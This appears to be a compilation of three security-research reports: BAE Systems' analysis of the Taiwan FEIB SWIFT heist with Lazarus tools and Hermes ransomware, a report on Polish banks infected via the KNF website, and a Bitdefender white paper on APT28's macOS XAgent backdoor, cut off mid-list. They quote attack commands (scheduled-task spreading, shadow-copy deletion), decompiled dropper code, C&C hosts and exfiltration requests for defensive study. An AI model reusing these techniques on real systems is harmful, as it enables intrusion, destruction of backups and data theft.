7b4a8be258ecb191c4c519d7c486ed8a Taiwan Heist: Lazarus Tools and Ransomware baesystemsai.blogspot.kr /2017/10/taiwan-heist-lazarus-tools.html Written by Sergei Shevchenko, Hirman Muhammad bin Abu Bakar, and James Wong BACKGROUND Reports emerged just over a week ago of a new cyber-enabled bank heist in Asia. Attackers targeting Far Eastern International Bank (FEIB), a commercial firm in Taiwan, moved funds from its accounts to multiple overseas beneficiaries. In a story which reminds us of the Bangladesh Bank case the culprits had compromised the bank s system connected to the SWIFT network and used this to perform the transfers. In recent days, various malware samples have been uploaded to malware repositories which appear to originate from the intrusion. These include both known Lazarus group tools, as well as a rare ransomware variant called Hermes which may have been used as a distraction or cover-up for the security team whilst the heist was occurring. The timeline below provides an overview of the key events: October 2017 Malware compiled containing admin credentials for the FEIB network. October 2017 Transfers using MT103 messages were sent from FEIB to Cambodia, the US and Sri Lanka. Messages to cover the funds for the payments were incorrectly created and sent. October 2017 Breach discovered and ransomware uploaded to online malware repository site. October 2017 Individual in Sri Lanka cashes out a reported Rs30m (~$195,000). October 2017 Individual returns to collect more cash from account, arrested whilst doing so. October 2017 Press become aware of the incident. October 2017 Samples uploaded which include known Lazarus malware. Little information is available at present about when or how the attackers compromised the bank, but it is likely more details will emerge in the coming weeks. This blogpost seeks to summarise what is in the public domain at the moment, as well as analyse the samples uploaded to malware repositories. ANALYSIS Several files have been uploaded to malware databases which appear to be related to this attack, including an archive titled 1/10 FEIB_Samples submitted from Taiwan on 12th Oct 2017. These and other samples are listed below: Filenames Submitted From First Seen Compile Time 9563e2f443c3b4e1b00f25be0a30d56e FEIB_Samples_pwd(Virus).zi_ 201710-12 02:50:16 d08f1211fe0138134e822e31a47ec5d4 bitsran.exe 201710-03 01:01:31 201710-01 15:37:31 b27881f59c8d8cc529fa80a58709db36 RSW7B37.tmp 201710-03 01:01:37 201710-01 11:34:07 3c9e71400b72cc0213c9c3e4ab4df9df msmpeng.exe 201710-07 08:58:00 201702-20 11:09:30 0edbad9e6041d43f97c7369439a40138 FileTokenBroker.dll 201710-12 02:50:15 201701-05 01:11:33 97aaf130cfa251e5207ea74b2558293d splwow32.exe 201710-12 02:50:15 201702-20 11:09:30 62217af0299d6e241778adb849fd2823 201710-08 03:32:47 201709-21 09:27:43 0dd7da89b7d1fe97e669f8b4156067c8 201703-14 02:13:01 201703-06 17:32:58 61075faba222f97d3367866793f0907b 201702-16 03:25:00 201702-10 15:03:30 File #1 is the ZIP file containing samples #2-6 inside. Samples #2-4 were also separately uploaded by users in Taiwan and the US on the dates given above. Samples #7-9 are older versions of the Hermes ransomware. Malware Analysis Sample #2; Bitsran loader / spreader Sample #2 is designed to run and spread a malicious payload on the victim's network. On execution, the malware places a copy of itself into the location: C:\Windows\Temp\bitsran.exe Next, the file establishes a persistence mechanism with the registry key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2/10 It sets the value of BITSRAN to point to the executable in the Temp location above. The malware then enumerates all processes, searching for specific anti-virus processes and attempts to kill these using the command line tool taskkill. Process Name Process Description tmbmsrv.exe Trend Micro Unauthorized Change Prevention Service tmccsf.exe Trend Micro OfficeScan Common Client Solution Framework cntaosmgr.exe Trend Micro OfficeScan Add-on Service Client Management Service ntrtscan.exe Trend Micro OfficeScan NT RealTime Scan pccntmon.exe Trend Micro OfficeScan Antivirus real-time scan monitor tmlisten.exe Trend Micro OfficeScan NT Listener tmpfw.exe Trend Micro OfficeScan NT Firewall Next, the process attempts to find an embedded IMAGE resource with offset #110. If successful, this file is loaded into memory. When manually extracting this file, it can be seen to represent a pixelated bitmap (BMP) file. However, further investigation reveals that the file is what is known as a Polyglot file, whereby a file is contained within another file. Using a HEX viewer, it is possible to see that this file also contains a ZIP file (beginning at the header), with the pixelated image above referencing the bytes of the file to be RGB values. 3/10 The contents of this resource is decompressed from offset 54, with the last 4 bytes of the file specifying the ZIP s file size in bytes. When successfully decrypted, the file is saved into the same directory as the initial executable. This takes the filename RSWXXXX.tmp , where XXXX is randomly generated through the GetTempFileName function. Once written to disk, this process is created through the CreateProcess function. Sample #3 (RSW7B37.tmp) is an example of this file. Whilst this additional payload is executing, the initial malware attempts to copy itself to other devices on the network. Two user accounts are hardcoded into the malware, and are used to establish connections to the C$ SMB shares on Windows devices. These are the accounts: Account Name Account Password FEIB\SPUSER14 #ED{REMOVED} FEIB\scomadmin !it{REMOVED} Both accounts clearly relate to FEIB, though we couldn t confirm whether the credentials are valid or not. The SPUSER14 may be a Sharepoint user account whilst scomadmin likely corresponds to System Center Operations Manager admin an account for managing machines in a data centre. Instead of enumerating all devices on the network, the malware iterates through a hardcoded list of 5357 IP addresses, in the ranges: 10.49.* 10.50.* 10.51.* 10.59.* It is assumed that previous reconnaissance was conducted by the actors on the internal network to identify active and responding devices, as well as capturing admin credentials for the network. If a device successfully responds to a SMB packet on port 445, the malware copies itself to the C$ network share using the provided credentials, writing the file to the location: C:\Windows\Temp\bitsran.exe If successful, a further command is executed using the same credentials, to create a scheduled task on the remote device with the name BITSRAN . The full command executed is: cmd.exe /c schtasks /create /tn BITSRAN /tr /s /u /p /st 00:00 /et 23:59 /sc minute /mo 1 /ru system /f Malware Analysis Sample #3, Dropped file / Hermes Ransomware The dropped file is a variant of the Hermes ransomware. The ransomware calls GetSystemDefaultLangID() to obtain language identifier for the system locale. It contains a list of three system language codes: 0x0419 (Russian), 0x0422 (Ukrainian), and 0x0423 (Belarusian). However, it only checks against the last two, and, if matching, the malware quits. Whether this is a false-flag or not is unknown. 4/10 The ransomware deletes the Volume Shadow Copies (a type of backup on Windows), using command: vssadmin Delete Shadows /all /quiet Following that, it deletes all VSS (Volume Shadow Copy Service) backup files (which include System Restore files) and orphaned shadows, by running commands below for the drives from C:, D:, E:, F:, G:, and H: vssadmin resize shadowstorage /for=%DRIVE% /on=%DRIVE% /maxsize=401MB vssadmin resize shadowstorage /for=%DRIVE% /on=%DRIVE% /maxsize=unbounded The trick above is called "pulling the carpet" as it forces Windows to voluntarily dump all shadows due to lack of space. The ransomware then recursively deletes all backup files from the drives C:, D:, E:, F:, G:, and H:, having the following extensions: *.VHD *.bac *.bak *.wbcat *.bkf Backup*.* backup*.* *.set *.win *.dsk Using Windows CryptoAPI platform, the malware creates an exchange key pair, and then exports the 2,048-bit public RSA key into an external file called PUBLIC. The ransomware then enumerates both local and network resources, and encrypts files using 2,048-bit RSA algorithm. Each encrypted directory will have a ransom note left in it: HERMES 2.1 RANSOMWARE radical edition All your important files are encrypted Your files has been encrypted using RSA2048 algorithm with unique public-key stored on your PC. There is only one way to get your files back: contact with us, pay, and get decryptor software. You have "UNIQUE_ID_DO_NOT_REMOVE" file on your desktop also it duplicated in some folders, its your unique idkey, attach it to letter when contact with us. Also you can decrypt 3 files for test. We accept Bitcoin, you can find exchangers on https://www.bitcoin.com/buy-bitcoin and others. Contact information: BM-2cVcZL1xfve1yGGKwEBgG1ge6xJ5PYGfGw@bitmessage.ch reserve: BM-2cT4U1vBdjfqKDeWMEXgCWs9SfnMK1GLTF@bitmessage.ch Malware Analysis Samples #4 and #6, Lazarus malware 5/10 Sample #4 (msmpeng.exe) is packed with Themida to hamper analysis under a debugger, a monitoring application, or a virtual machine. Once fully unpacked in memory, it appears to be an x86 variant of the fdsvc.dll backdoor described in our February blogpost Lazarus False Flag Malware . This malware was discovered on networks in Poland and Mexico, following a series of watering-hole attacks. Just like before, the backdoor uses several transliterated Russian words to either indicate the state of its communication or issue backdoor commands: State/Command Translation from Russian Meaning Nachalo beginning start communication session ustanavlivat to set handshake state poluchit to receive receive data pereslat to send send data derzhat to maintain maintain communication session vykhodit to exit exit communication session kliyent2podklyuchit client to connect client is ready to connect Sample #6 (splwow32.exe) is the same backdoor, only it s not packed. Both sample #4 and #6 have the same time stamp: 20 February 2017, 11:09:30. It appears that sample #6 was actually obtained by packing sample #4 with Themida (potentially, to avoid detection), as code/data found in both samples is identical. The backdoor expects a command line parameter that specifies remote C&C address and port number. If it is executed with no command-line parameters, it quits. The specified command-line parameter is decrypted, using some basic character manipulations and applying XOR with 2 keys: 0x517A4563 ( QzEc 0x77506F66 ( wPof The decrypted string is expected to delimit C&C address and port number with the character. Multiple C&Cs can be delimited with the character. If the backdoor finds no valid pair of C&C address and port number delimited with the character, it quits. Otherwise, it starts polling the remote C&C for a remote task to execute. Each polling attempt starts from a state Nachalo start communication session ), with a 3 second delay between each attempt to connect to the C&C. Each connection attempt starts from a state called kliyent2podklyuchit client is ready to connect If the backdoor fails to connect five times, or if it connects, but the task it receives is vykhodit exit communication session ), then the backdoor will quit. Otherwise, it will execute the remote command, effectively giving the attackers full control over the compromised system. After the execution, the polling cycle continues. 6/10 Malware Analysis Sample #5 FileTokenBroker.dll is a DLL, installed as a service under the svchost.exe (netsvcs) service host. Once loaded as a service DLL, the DLL's export ServiceMain() is called. The DLL then constructs a file name that consists of the host process name, formatted as: %SYSTEM%\en-US\[HOST_PROCESS_NAME_NO_EXTENSION].dll.mui For example, if the DLL is loaded into the address space of svchost.exe, the constructed filename will be: c:\windows\system32\en-US\svchost.dll.mui Another possible name is: c:\windows\system32\en-US\netsvc.dll.mui The DLL then reads this file, and decrypts it with a running XOR mask. Once decrypted, it further reads an RC4 key from it, and decrypts it with the RC4 algorithm. The decrypted file will contain a hash, so the DLL checks the hash as well to make sure the integrity of the decrypted file is intact. A fully decrypted file is then parsed as a PE file, and loaded as a DLL. Hence, FileTokenBroker.dll decrypts and executes a payload that is created by an external dropper or is implanted by the attackers. The %SYSTEM%\en-US directory will have multiple system files in it, so it is chosen to blend the encrypted payload file with the other legitimate system files. Unlike other *.dll.mui files in %SYSTEM%\en-US directory that are MZ files, the encrypted payload is not an MZ file. Malware Analysis Samples #7, #8, and #9, Further Hermes malware Samples #7, #8, and #9 relate to previous instances of Hermes ransomware. Malware of this category is typically widespread, but in the case of Hermes it seems relatively rare. This is suspicious in itself and reminds us of WannaCry another rarely observed ransomware. Further analysis is on-going to understand the history of this malware variant. Transactions Through working with trusted partners, we have been able to get insight into the transactions made as part of the heist. The transactions consisted of two common SWIFT message types, MT103 and MT202COV. MT103 messages are used for normal, cross border, cash transfers which would typically request funds be transferred into a personal or company beneficiary account. MT103 messages can be used on their own, or can be coupled with a cover message; MT202COV is used to order the movement of funds to the beneficiary institution via another financial institution/Intermediary Bank. In this heist the attackers created MT103 messages to transfer funds to Cambodia, the US, and Sri Lanka. In addition to the 7/10 MT103 messages, the attackers created MT202COV messages; the content of these messages was syntactically correct but the values in specific fields were wrong. As a result, they were received by the intermediary bank but had no further influence on the funds transferred to the beneficiary accounts. Reports of $60M being stolen appear to be due to confusion over these latter messages, and the amounts actually stolen were considerably lower. Most of these appear to have been recovered. Further details of the destination accounts within Sri Lanka have emerged in open source. The money had been transferred to the Bank of Ceylon in Sri Lanka on 3 October. The following day, an individual in Sri Lanka allegedly withdrew RS 30m (about $195K). Two days after that, the same individual returned to withdraw a further RS 8m, but was arrested when he arrived at the bank. Sri Lankan police have since arrested another individual and a further suspect is wanted by Sri Lankan law enforcement. CONCLUSIONS It has been over a year since the last activity on a payments system from the attackers behind the infamous Bangladesh Bank heist. Lazarus, the prime suspects, have been busy nonetheless targeting Bitcoin in various ways, as well as other intrusions into banks such as in Poland and Mexico (albeit without evidence of targeting payment systems). In one of these cases we and other researchers were able to observe infrastructure in North Korea controlling the malware further clues as to the origins of these attackers. The attack this month on Taiwanese Far Eastern International Bank has some of the hallmarks of the Lazarus group: Destination beneficiary accounts in Sri Lanka and Cambodia both countries have been used previously as destinations for Lazarus bank heist activity; Use of malware previously seen in Lazarus Poland and Mexico bank attacks. Where these files were found and the context of their use needs to be confirmed, but could provide a crucial attributive link; Use of unusual ransomware, potentially as a distraction. Despite their continued success in getting onto payment systems in banks, the Lazarus group still struggle getting the cash in the end, with payments being reversed soon after the attacks are uncovered. The group may be trying new tricks to disrupt victims and delay their ability to respond such as different message formats, and the deployment of ransomware across the victim s network as a smokescreen for their other activity. It s likely they ll continue their heist attempts against banks in the coming months and we expect they will evolve their modus operandi to incorporate new ways of disrupting victims (and possibly the wider community) from responding. More work needs to be done to identify how FEIB was attacked, whether further custom tools were involved, confirm the context of the Lazarus malware in the intrusion, and where else this Hermes ransomware has been seen. Assuming Lazarus are indeed back to targeting bank payment systems, this will serve to emphasize the importance of network hardening and controls frameworks being pushed by the industry at present. RECOMMENDATIONS Some general network hardening and monitoring lessons can be taken from this: Firewall off SMB (445) for internal computers. If access to this service is required, it should be permitted only for those IP s that require access. i.e. 445 is required for SCOM to push an agent install, therefore 445 should only be allowed from that source server; 8/10 Application blacklisting should be implemented to prevent the use of tools such as vssadmin.exe, cmd.exe, powershell.exe and similar; File Integrity Monitoring should be considered and configured to monitor file creations in trusted locations such as the System32 directory. This can also be used to monitor deletes, with an alert configured to fire on excessive deletes in a row; Windows Security Event logs should be monitored to capture Scheduled Task creation events Event ID 4698; Registry Auditing should be enabled and monitored to capture any additions to HKLM\Software\Microsoft\Windows\CurrentVersion\Run; Excessive use of known administrative privilege accounts should be alerted on specifically in a one to many behavioural configuration. i.e. is one specific IP connecting to a large number of devices using the same credentials in a short period of time; Ensure privileged accounts have a complex password that does not include any part of the username, or application it relates to. Additional longer term recommendations for financial institutions: Practice incident response scenarios which include complex attacks combining covert payment fraud and overt network disruption through ransomware, DDoS, network downtime, etc. Ensure that you are progressing towards being able to attest against the SWIFT 27 controls. For more information see: http://www.baesystems.com/en/cybersecurity/swift-customer-security-programme APPENDIX A INDICATORS OF ATTACK MD5 Hashes d08f1211fe0138134e822e31a47ec5d4 b27881f59c8d8cc529fa80a58709db36 3c9e71400b72cc0213c9c3e4ab4df9df 0edbad9e6041d43f97c7369439a40138 97aaf130cfa251e5207ea74b2558293d 62217af0299d6e241778adb849fd2823 0dd7da89b7d1fe97e669f8b4156067c8 61075faba222f97d3367866793f0907b File / Process name bitsran.exe APPENDIX B YARA RULE 9/10 rule Hermes2_1 { meta: date = "2017/10/11" author = "BAE" hash = "b27881f59c8d8cc529fa80a58709db36" strings: $magic = { 4D 5A } //in both version 2.1 and sample in Feb $s1 = "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\" $s2 = "0419" $s3 = "0422" $s4 = "0423" //in version 2.1 only $S1 = "HERMES" $S2 = "vssadminn" $S3 = "finish work" $S4 = "testlib.dll" $S5 = "shadowstorageiet" //maybe unique in the file $u1 = "ALKnvfoi4tbmiom3t40iomfr0i3t4jmvri3tb4mvi3btv3rgt4t777" $u2 = "HERMES 2.1 TEST BUILD, press ok" $u3 = "hnKwtMcOadHwnXutKHqPvpgfysFXfAFTcaDHNdCnktA" //RSA Key part condition: $magic at 0 and all of ($s*) and 3 of ($S*) and 1 of ($u*) 10/10 Several Polish banks hacked, information stolen by unknown attackers badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ badcyber 2/3/2017 Polish banks are frantically scanning their workstations and servers while checking logs in the search of signs of infection after some of them noticed unusual network activity and unauthorised files on key machines within their networks. This is by far the most serious information security incident we have seen in Poland. It has been a busy week in SOCs all over Polish financial sector. At least a few of Polish 20-something commercial banks have already confirmed being victims of a malware infection while others keep looking. Network traffic to exotic locations and encrypted executables nobody recognised on some servers were the first signs of trouble. A little more than a week ago one of the banks detected strange malware present in a few workstations. Having established basic indicators of compromise managed to share that information with other banks, who started asking their SIEMs for information. In some cases the results came back positive. Delivery Preliminary investigation suggests that the starting point for the infection could have been located on the webserver of Polish financial sector regulatory body, Polish Financial Supervision Authority (www.knf.gov.pl). Due to a slight modification of one of the local JS files, an external JS file was loaded, which could have executed malicious payloads on selected targets. This would be really ironic if the website of the key institution responsible for assuring proper security level in the banking sector was used to attack it. Current website status is under maintenance Data from PassiveTotal does confirm the finding related to external resources included in knf.gov.pl website since 2016-10-07 till yesterday. To unauthorised code was located in the following file: http://www.knf.gov.pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver=11 and looked like that: document.write("
"); After successful exploitation malware was downloaded to the workstation, where, once executed, connected to some foreign servers and could be used to perform network reconnaissance, lateral movement and data exfiltration. At least in some cases the attackers managed to gain control over key servers within bank infrastructure. Malware While you can find some hashes at the end of this article, we gathered the available information regarding the malware itself. While there might be some elements borrowed from other similar tools and crimeware strategies, the malware used in this attack has not been documented before. It uses some commercial packers and multiple obfuscation methods, has multiple stages, relies on encryption and at the moment of initial analysis was not recognised by available AV solutions. The final payload has the functionality of a regular RAT. Motivation While we have no idea of attackers motivation, so far we have no knowledge of any direct financial losses incurred by banks or their customers due to this attack. What is more troubling, some of the victims were able to identify large outgoing data transfers. So far they could not identify the contents of the data as it was encrypted. Investigation continues to fully understand the scope of losses. Conclusions & IOCs While this should not come as a surprise, this incident is the perfect example of the statement you are going to get infected . Polish financial sector has some of the best people and tools in terms of security and still it looks like the attackers achieved their objectives without major hurdles in at least some cases. On the good side they were detected and once notified banks were able to quickly identify infected machines and suspicious traffic patterns. The whole process lacked solid information sharing, but this is a problem know everywhere. We hope to continue investigating this incident and share with you more details about the malware itself in the future. Meanwhile please find attached some IOCs we can share today: MD5, SHA1, SHA256 hashes of some samples: C1364BBF63B3617B25B58209E4529D8C 85D316590EDFB4212049C4490DB08C4B 1BFBC0C9E0D9CEB5C3F4F6CED6BCFEAE 496207DB444203A6A9C02A32AFF28D563999736C 4F0D7A33D23D53C0EB8B34D102CDD660FC5323A2 BEDCEAFA2109139C793CB158CEC9FA48F980FF2B FC8607C155617E09D540C5030EABAD9A9512F656F16B38682FD50B2007583E9B D4616F9706403A0D5A2F9A8726230A4693E4C95C58DF5C753CCC684F1D3542E2 CC6A731E9DAFF84BAE4214603E1C3BAD8D6735B0CBB2A0EC1635B36E6A38CB3A Some C&C IP addresses: 125.214.195.17 196.29.166.218 Potentially malicious URLs included in knf.gov.pl website: http://sap.misapor.ch/vishop/view.jsp?pagenum=1 https://www.eye-watch.in/design/fancybox/Pnf.action Paper Dissecting the APT28 Mac OS X Payload White Paper Authors: Tiberius Axinte, Technical Lead, Antimalware Lab Bogdan Botezatu - senior e-threat analyst White Paper A post-mortem analysis of Trojan.MAC.APT28 - XAgent For the past decade, Windows users have been the main targets of consumer, for-profit cybercrime. Even now, malware on platforms such as Mac OS X and Linux is extremely scarce compared with the Windows threat landscape. Enter the upper tiers of malware creation: advanced persistent threats. These extremely complex, highly customized files are after targets, not platforms. Attacks such as those persistently carried out by APT28 target multiple individuals in multiple organizations who run a wide range of hardware and software configurations. Since the group s emergence in 2007, Bitdefender has become familiar with the backdoors used to compromise Windows and Linux targets, such as Coreshell, Jhuhugit and Azzy for the former OS or Fysbis for the latter. This year we have been able to finally isolate the Mac OS X counterpart - the XAgent modular backdoor. This whitepaper describes our journey in dissecting the backdoor and documenting it piece by piece. White Paper A. Context In mid-February this year, we discovered a new Mac sample that appeared to be the Mac version of the APT28 XAgent component. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. Until now this component was only available for Windows, Linux and iOS operating systems. Though you might expect this Mac version of XAgent to be the iOS version compiled to work on Mac, it is a different creation, with a much more advanced feature set. The Mac version shares multiple similarities with those designed for other operating systems. However, the Mac agent brings more spying capabilities such as stealing iOS backups from Mac computers, which contain messages, contacts, voicemail, call history, notes, calendar and Safari data. B. Attack Flow Last year on 26 of September, PaloAlto identified a new Mac OS X Trojan associated with the APT28/Sofacy group that received the Komplex name. The Komplex Trojan is a binder with multiple parts: a dropper, a payload and a decoy pdf file. 1. The Komplex Binder: Is the main executable of roskosmos_2015-2025.app . Its main purpose is to save a second payload(the dropper) on the system and open the decoy pdf file pictured below. v7 = objc_msgSend(&OBJC_CLASS___NSString, stringWithFormat: , CFSTR( %@/roskosmos_2015-2025.pdf v6); v8 = objc_msgSend(&OBJC_CLASS___NSString, stringWithFormat: , CFSTR( SetFile -a E %@/ roskosmos_2015-2025.pdf ), v6); v9 = objc_msgSend(&OBJC_CLASS___NSString, stringWithFormat: , CFSTR( rm -rf %@/roskosmos_2015-2025. ), v6); v10 = objc_msgSend( &OBJC_CLASS___NSString, stringWithFormat: CFSTR( open -a Preview.app %@/roskosmos_2015-2025.pdf v6); v11 = objc_msgSend(&OBJC_CLASS___NSData, dataWithBytes:length: , &joiner, 135028LL); objc_msgSend(v11, writeToFile:atomically: , CFSTR( /tmp/content ), 1LL); v12 = (const char *)objc_msgSend(v9, UTF8String system(v12); system( chmod 755 /tmp/content v13 = objc_msgSend(&OBJC_CLASS___NSData, dataWithBytes:length: , &pdf, 1584258LL); objc_msgSend(v13, writeToFile:atomically: , v7, 1LL); v14 = (const char *)objc_msgSend(v8, UTF8String system(v14); v15 = objc_msgSend(&OBJC_CLASS___NSTask, alloc v16 = objc_msgSend(v15, init objc_msgSend(v16, setLaunchPath: , CFSTR( /tmp/content objc_msgSend(v16, launch objc_msgSend(v16, waitUntilExit v17 = (const char *)objc_msgSend(v10, UTF8String system(v17); The Komplex Binder White Paper Komplex: roskosmos_2015-2025.pdf 2. The Komplex Dropper: Its main functionality is to drop a third Komplex component: the final payload, and ensure persistence on the infected system system( mkdir -p /Users/Shared/.local/ &> /dev/null system( mkdir -p ~/Library/LaunchAgents/ &> /dev/null off_10001B4F0(v5, &off_10001B4F0, CFSTR( /Users/Shared/.local/kextd ), 1LL); off_10001B4F0(v6, &off_10001B4F0, CFSTR( /Users/Shared/com.apple.updates.plist ), 1LL); off_10001B4F0(v7, &off_10001B4F0, CFSTR( /Users/Shared/start.sh ), 1LL); system( cp /Users/Shared/com.apple.updates.plist $HOME/Library/LaunchAgents/ &>/dev/null remove( /Users/Shared/com.apple.updates.plist system( chmod 755 /Users/Shared/.local/kextd system( chmod 755 /Users/Shared/start.sh 3. The Komplex Payload: Is the final component of the Komplex malware, with the sole purpose of downloading and executing a file, as requested by the C&C servers. In other words, Komplex is an APT28/Sofacy component that can be distributed via email, disguised as a PDF document, to establish a foothold in a system. Once it infects the host, it can download and run the next APT28/Sofacy component, which - to the best of our knowledge - is the XAgent malware that forms the object of this paper. Our assumption is guided by hard evidence included in the binary. Our forensics endeavor revealed a number of indicators that made us think XAgent was distributed via Komplex malware: White Paper Project path Komplex XAgent /Users/kazak/Desktop/Project/komplex /Users/kazak/Desktop/Project/XAgentOSX Malware path /Users/Shared/.local/kextd on the infected system /Username/Library/Assistants/.local/random_name apple-iclods.org apple-iclods[.]net Possible Attack Flow White Paper C. Initialization The main module of the XAgent component is called BootXLoader. Upon starting, it calls the runLoader method, which orchestrates the following: Checks if a debugger is present and, if so, the malware exits. v29 = 1; v30 = 14; v31 = 1; v32 = getpid(); v26 = 648LL; if ( sysctl(&v29, 4u, &v27, &v26, 0LL, 0LL) ) goto LABEL_13; The module then waits for internet connectivity by pinging 8.8.8.8 v7 = v2; v3 = 0; objc_retainAutorelease(CFSTR( 8.8.8.8 v4 = objc_msgSend_ptr(CFSTR( 8.8.8.8 ), selRef_cStringUsingEncoding_, 1LL, v7); v5 = SCNetworkReachabilityCreateWithName(0LL, (__int64)v4); HIDWORD(v7) = 0; if ( (unsigned __int8)SCNetworkReachabilityGetFlags(v5, (char *)&v7 + 4) ) Initializes the module used for communicating with the C&C servers (called HTTPChannel) and establishes communication between the malware and the C&C servers. http_chanel_obj = objc_msgSend_ptr(classRef_HTTPChannel, selRef_alloc); v12 = v10(http_chanel_obj, (const char *)selRef_init); v13 = v10(classRef_NSThread, selRef_alloc); v14 = objc_msgSend_ptr(v13, selRef_initWithTarget_selector_object_, v4, selRef_postThread_, v12); objc_msgSend_ptr(v14, selRef_start); v15 = objc_msgSend_ptr(classRef_NSThread, selRef_alloc); v16 = objc_msgSend_ptr(v15, selRef_initWithTarget_selector_object_, v4, selRef_getThread_, v12); objc_msgSend_ptr(v16, selRef_start); Starts the main handle module for C&C commands and the spying modules: MainHandler v6 = objc_msgSend_ptr(classRef_MainHandler, selRef_alloc); v7 = objc_msgSend_ptr(v6, (const char *)selRef_init); v8 = objc_retain_ptr(v5, selRef_init); v9 = v7[4]; v7[4] = v8; objc_release_ptr(v9); objc_msgSend_ptr(v7, selRef_cycleLoop); White Paper D. Communication The agent starts by selecting a C&C server from a hardcoded list, then sends a hello message and starts two main communications threads: One for receiving commands from the C&C server, in an infinite GET loop. One for sending data to the C&C server, in an infinite POST loop. Receiving commands from C&C server The agent awaits C&C commands from the server and inserts them into a command queue that will be executed in a separate thread by MainHandler module. C&C Servers http://23.227.196.215 http://apple-iclods.org http://apple-checker.org http://apple-uptoday.org http://apple-search.info The command structure, called cmdPacket, contains a command identifier, a command parameter and a size for the parameter. struct cmdPacket { unsigned char cmd; char *param; unsigned long long param_size; Command Structure The command request to the C&C server is made via HTTP GET. It receives a base64 encoded cmdPacket that has previously been encrypted with RC4 using a hardcoded KERNEL_CRYPTO_MAIN_KEY. HTTP GET Request Method Server Verbs search/?, find/?, results/?, open/?, search/?, close/? Args from=, itwm=, ags=, oe=, aq=, btnG=, oprnd=, itwm=, utm=, channel= Response (base64) Request a command from server White Paper http://apple-iclods.org/close/?itwm=LO6iNPjpD0U8AVlLo_Hk3X9FSgAF&xzxI4=9_qwCS03APJT HTTP/1.1 Host: apple-iclods.org Pragma: no-cache Connection: keep-alive Accept: */* User-Agent: 4fe4b9560e99e33dabca553e2eeee510 CFNetwork/673.3 Darwin/13.4.0 (x86_64) Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive Example of GET message Based on the command from the C&C server, the agent decodes and decrypts the command structure, and inserts it in a command queue to be executed by the MainHandler module. Command Value Command char Module Action InfoOS getOsInfo InfoOS getProcessList RemoteShell executeShellCommand RemoteShell getInstalledApps RemoteShell checkBackupIosDeviceFolder FileSystem downloadFileFromPath FileSystem createFileInSystem FileSystem executeFile FileSystem deleteFile ScreenShot takeScreenShot ScreenShot Start screenShotLoop ScreenShot Stop screenShotLoop Password getFirefoxPassword uploadFile:urlServer:userName:password: stopOperation FileSystem readFiles C&C Commands and Actions 2. Sending information to C&C server To exfiltrate information to the C&C server (such as screenshots, passwords, files and more), the agent uses a defined structure called msgPacket. struct msgPacket { int agent_id; short module_id; unsigned char cmd_id; char *data_; unsigned int data_size; unsigned char priority; Message Structure White Paper The message is encrypted with RC4 with a hardcoded KERNEL_CRYPTO_MAIN_KEY. It then appends a key and a DATA_TOKEN xor-ed with the key. Ultimately, the module encodes the result with base64 and sends it to the C&C server in a POST request. HTTP POST Request Method POST Server Body(base64) Send message to server When starting the communication, the agent sends a hello message to the server using the POST request detailed above. This request has the following HTTP body: POST Body for Hello Message agent_id IOPlatformUUID module_id 0x3303 cmd_id data 0x3303#3333#3344#3355#3377# data_size priority 0x16 Hello message body POST http://23.227.196.215/watch/?itwm=7FJcXOPyN_Znh7quXfh4WAaKquNzY &oe=9cu2LRvfab&ags=Pi8KZsjwBh&oe=HXK20P&aq=h2RBWMQI&aq=yRRTH&i5H=MKNBXTB Host: 23.227.196.215 Content-Type: application/x-www-form-urlencoded; charset=utf-8 Connection: keep-alive Proxy-Connection: keep-alive Accept: */* User-Agent: 4fe4b9560e99e33dabca553e2eeee510 (unknown version) CFNetwork/673.3 Darwin/13.4.0 (x86_64) Accept-Language: en-us Accept-Encoding: gzip, deflate Content-Length: 81 0_a70HpSuFQI7FnNetyKM559SUEcCj-WBinNUfTdPQw0ZVTfyNXe26b6isibFp_cJLGqtiOZ9Em3iUA== Example of Hello Message [10] White Paper E. Modules All the important functionalities of the XAgent lie in its modules. These modules are used for communication with the C&C server, encryption and encoding and - most importantly - for data exfiltration and espionage. 1. BootXLoader: is the main module that handles the initialization procedures. 2. MainHandler: handles C&C commands and controls the other modules based on the commands it receives from the C&C. case getInfoOSX case getProcessList case remoteShell case getInstalledAPP case showBackupIosFolder case downloadFileFromPath case createFileInSystem case execFile case deletFileFromPath case takeScreenShot case startTakeScreenShot case stopTakeScreenShot case getFirefoxPassword case ftpUpload case ftpStop case readFiles 3. HTTPChannel : Used for continuous communication with the C&C server, for receiving commands and sending stolen data to the server. -[HTTPChannel enqueue:array:] -[HTTPChannel dequeue:] -[HTTPChannel clear:] -[HTTPChannel getIntegerFromProcName] -[HTTPChannel getAgentID] -[HTTPChannel createRandomSymbols:] -[HTTPChannel createEncodeToken:size_token:] -[HTTPChannel createKeyToken:] -[HTTPChannel random:end:] -[HTTPChannel generateUrlQuestion:] -[HTTPChannel generateHttpMes:data_size:size_http_mes:] -[HTTPChannel createEncodeData:size_data:size_result_data:] -[HTTPChannel takeOutPacket:::] -[HTTPChannel generateUrlParametrs:] -[HTTPChannel isActiveNetwork] -[HTTPChannel isActiveChannel] -[HTTPChannel nextServer:] -[HTTPChannel timeoutChanger:] -[HTTPChannel get] -[HTTPChannel getCryptoRawPacket] -[HTTPChannel postMessageThread] -[HTTPChannel post] -[HTTPChannel createCryptPacket] -[HTTPChannel createDecryptPacket:] -[HTTPChannel helloMessage] [11] White Paper 4. CameraShot: not implemented. 5. Password: used to obtain passwords from Firefox browser profiles. The modules saves them to a file that will be sent to the C&C servers. -[Password writeLogMsg:] -[Password htmlLogMessage:] -[Password _initNSSLib] -[Password getFirefoxPassword] 6. FileSystem: used for file management, such as: find file, delete file, execute file, create file. -[FileSystem getFileFromDirectory:sizeFile:] -[FileSystem createFile:bodyFile:sizeBody:] -[FileSystem executeFile:] -[FileSystem deleteFile:] -[FileSystem findFilesAtPath:withMask:andRecursion:] 7. FTPManager: used to upload file to the server using credentials received in a previous command from the C&C server. -[FTPManager buffer] -[FTPManager init] -[FTPManager _checkFMServer:] -[FTPManager fileSizeOf:] -[FTPManager _createListingArrayFromDirectoryListingData:] -[FTPManager _uploadData:withFileName:toServer:] -[FTPManager getAgentID] -[FTPManager _uploadFile:toServer:] -[FTPManager _createNewFolder:atServer:] -[FTPManager _contentsOfServer:] -[FTPManager 